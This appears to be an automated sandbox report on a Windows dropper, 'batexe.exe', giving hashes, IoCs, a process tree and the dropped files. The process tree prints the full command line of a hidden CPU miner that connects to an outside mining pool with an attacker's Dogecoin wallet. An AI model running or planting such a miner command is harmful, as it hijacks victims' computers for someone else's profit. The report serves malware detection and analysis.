73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
298s
platform
windows10-1703_x64
resource
win10-20231220-ja
resource tags

arch:x64arch:x86image:win10-20231220-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
13/02/2024, 12:52

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4448	b2e.exe
4524	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4524	cpuminer-sse2.exe
4524	cpuminer-sse2.exe
4524	cpuminer-sse2.exe
4524	cpuminer-sse2.exe
4524	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2348-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2348 wrote to memory of 4448	2348	batexe.exe	75
PID 2348 wrote to memory of 4448	2348	batexe.exe	75
PID 2348 wrote to memory of 4448	2348	batexe.exe	75
PID 4448 wrote to memory of 3188	4448	b2e.exe	76
PID 4448 wrote to memory of 3188	4448	b2e.exe	76
PID 4448 wrote to memory of 3188	4448	b2e.exe	76
PID 3188 wrote to memory of 4524	3188	cmd.exe	79
PID 3188 wrote to memory of 4524	3188	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2348
- C:\Users\Admin\AppData\Local\Temp\951C.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\951C.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\951C.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4448
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\972F.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3188
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4524

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\951C.tmp\b2e.exe

Filesize
3.9MB

MD5
dccdbb7d1a3392a204adcff96fa05a1c

SHA1
eb7ab9e36059a1b011a3ec169ef434b505ece3c9

SHA256
ba3987732cb7583fe298213cdddfd5f19a2c36de32e8f8d4e51d91ca4d852ad8

SHA512
cee134d929809c4947f78de6d0465276e4bfcabde7cbd3cc46fd6a2c9835d7bbd6a7d9753ab6a40045ae20b4d8ad44a7a157968e45989fde3bd4497424829a38

Download Submit
C:\Users\Admin\AppData\Local\Temp\951C.tmp\b2e.exe

Filesize
3.8MB

MD5
3fcc5a5104bc99f41a854737717156ce

SHA1
a40de2ce848e82ba0d5ee45a4c17e7d00cd2537a

SHA256
5732140ea7283d98222a5cdc5f3f426749c951ca4d998ba1ffe291064ea0cc56

SHA512
c0db88224b4ef60718662200b9b47fe0e6bada8bfa21b22012ebd996f844d21aba7223a51d82fe4460995ee55dc0d8e4f0eb2dc65fd87c24f86cbc93a51a69ee

Download Submit
C:\Users\Admin\AppData\Local\Temp\972F.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.8MB

MD5
d181f3c3da557aa943b2c5194cedc52a

SHA1
86501cdc45121a186d86cd41a4d83eca2cf22aee

SHA256
ba45497f6d88463603cb5fbb3a16b768af25a5a0471d8c4202393cb4093a2991

SHA512
09c1520bff5648ee0af3f5c4c5b81bc2c6e85b1c32591b05b292cf2634674c0eba75f55148c90a370cdcb674de003b961e62645af8a05a060f5c7cf17b338ae8

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.4MB

MD5
0690de44ee45db3e67c301f9946284d9

SHA1
af7f027f28c9f2579458b60ca88f335cfd59975a

SHA256
130fcd2bd18405fe86a6c7783300ee0950edab9f36f278705cb57e90aa75bf02

SHA512
fd09990ee220d787dcccf18a6350d81c7f16589c3113d9d0851d56686018365ad95da2b01b49c16b035c369dcb308ebd8b19ee2e86257d04eb8b87515799d6e3

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.1MB

MD5
cabc01d6c85b61d47d16ac130a8c77c6

SHA1
9ef3fc051bcab1bf335f58604ed56ce3ac170aaf

SHA256
55dc917be0206afc3ab5c93caea8421095071547cbecae0fafbe11a718581d01

SHA512
914294ac502e00c67ac82e708fc22eb775165b64cc11f0762f79ee60642219eefc2a98940bb596c75177c705c6d3f46be44a184f6c7e607013eacd609c064b53

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.2MB

MD5
de2510c1633a5e48522c1d531a262a62

SHA1
a3d7b3226c34744d53d8355fd5782cd2a7354abd

SHA256
6f2f8012626ee68033b47e0eb11c27ab3ac78600a45dc7fa4186cda0be2fd6ba

SHA512
117552bf81c28105ea953717211e84422292db06f79507387f845964166757243ff2d63fe1bf711ec20b63948f466a3e1565a786a4c653be57b53524725203eb

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.6MB

MD5
6f9a3ce40df15065c88778d9ed02e73d

SHA1
db6238ffea60e9bcfc6a0ade2340cad3047e6399

SHA256
c5fb49077c7daba064d7fd58bfa0b1c23bf14b4316558ddca043170092208bdd

SHA512
456845794694f75859e665526fa5cbfcda9cfad1eb58cbcced72f202fdd01358265fb4cfed91a1ada0555f9a2e474160c66d6a1a275e48ec9cc10955e29198fa

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.0MB

MD5
381d188bc57bc4d9b9f8ce7a325ef317

SHA1
26e55b1e32b8e8fff5479bbb8a157175d51b615d

SHA256
895046bc00f2e45f463e30957a6bbed71d6dd5affd34d41e4f39f26e02b7ab2a

SHA512
e19e929d06544e67581e3a74f1b5ab22a2dd4fee7f28f4579595e9243ddf2de76bcc2b1ffd948d91e76c5387379d0bd70ce272b6ae2f9074af6780c9ec3d2bc0

Download Submit
memory/2348-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4448-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4448-5-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4524-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4524-42-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4524-43-0x0000000060D70000-0x0000000060E08000-memory.dmp

Filesize
608KB

Download
memory/4524-44-0x00000000010B0000-0x0000000002965000-memory.dmp

Filesize
24.7MB

Download
memory/4524-41-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4524-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4524-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4524-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4524-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4524-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4524-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4524-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4524-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4524-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4524-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download